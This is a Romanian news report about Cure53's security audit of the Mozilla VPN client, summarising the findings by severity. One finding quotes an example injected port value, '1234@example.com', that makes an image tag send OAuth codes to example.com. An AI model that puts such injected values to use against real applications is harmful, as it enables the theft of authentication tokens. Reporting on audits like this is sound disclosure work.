Compania Mozilla a anunțat finalizarea unui audit independent al aplicației client pentru conectarea la serviciul Mozilla VPN. Auditul a inclus o analiză a aplicației client separate, dezvoltată folosind biblioteca Qt și disponibilă pentru Linux, macOS, Windows, Android și iOS. Serviciul Mozilla VPN este suportat de peste 400 de servere ale furnizorului de VPN suedez Mullvad, amplasate în mai mult de 30 de țări. Conectarea la VPN-serviciu se realizează prin protocolul WireGuard.
Auditul a fost efectuat de compania Cure53, care a realizat anterior audituri pentru proiectele NTPsec, SecureDrop, Cryptocat, F-Droid și Dovecot. Auditul a implicat verificarea codului sursă și a inclus teste pentru identificarea posibilelor vulnerabilități (problemele legate de criptografie nu au fost discutate). În timpul verificării, au fost identificate 16 probleme de securitate, dintre care 8 au fost clasificate ca recomandări, 5 au avut un nivel scăzut de pericol, 2 - mediu și una - ridicat.
Totuși, doar o problemă cu nivel mediu de pericol a fost clasificată ca vulnerabilitate, deoarece doar aceasta era exploatabilă. Problema respectivă duce la scurgerea informațiilor despre utilizarea VPN-ului în codul de determinare a portalului captive din cauza trimiterea de cereri directe necriptate prin HTTP, transmise în afara tunelului VPN și care dezvăluie adresa IP principală a utilizatorului în cazul în care atacatorul poate controla traficul de tranzit. Problema se rezolvă prin dezactivarea modului de determinare a portalului captive din setări.
A doua problemă de nivel mediu de pericol este legată de lipsa curățării adecvate a valorilor non-numerice din numărul de port, ceea ce permite organizarea unei scurgeri a parametrilor de autentificare OAuth prin înlocuirea numărului de port cu un șir de forma „1234@example.com”, ceea ce va duce la instalarea unei etichete <img src="»http://127.0.0.1:1234@example.com/?code=…»" alt="»»">, care se referă la example.com în loc de 127.0.0.1.
A treia problemă, marcată ca periculoasă, permite oricărei aplicații locale, fără autentificare, să acceseze clientul VPN prin WebSocket, legat de localhost. Ca exemplu, a fost demonstrat cum, cu clientul VPN activ, orice site ar putea organiza crearea și trimiterea unei capturi de ecran prin generarea unui eveniment screen_capture. Problema nu a fost clasificată ca vulnerabilitate, deoarece WebSocket a fost folosit doar în versiuni interne de testare, iar utilizarea acestui canal de comunicare era planificată pentru viitor pentru a organiza interacțiunea cu extensia browserului.
Sursa: opennet.ro
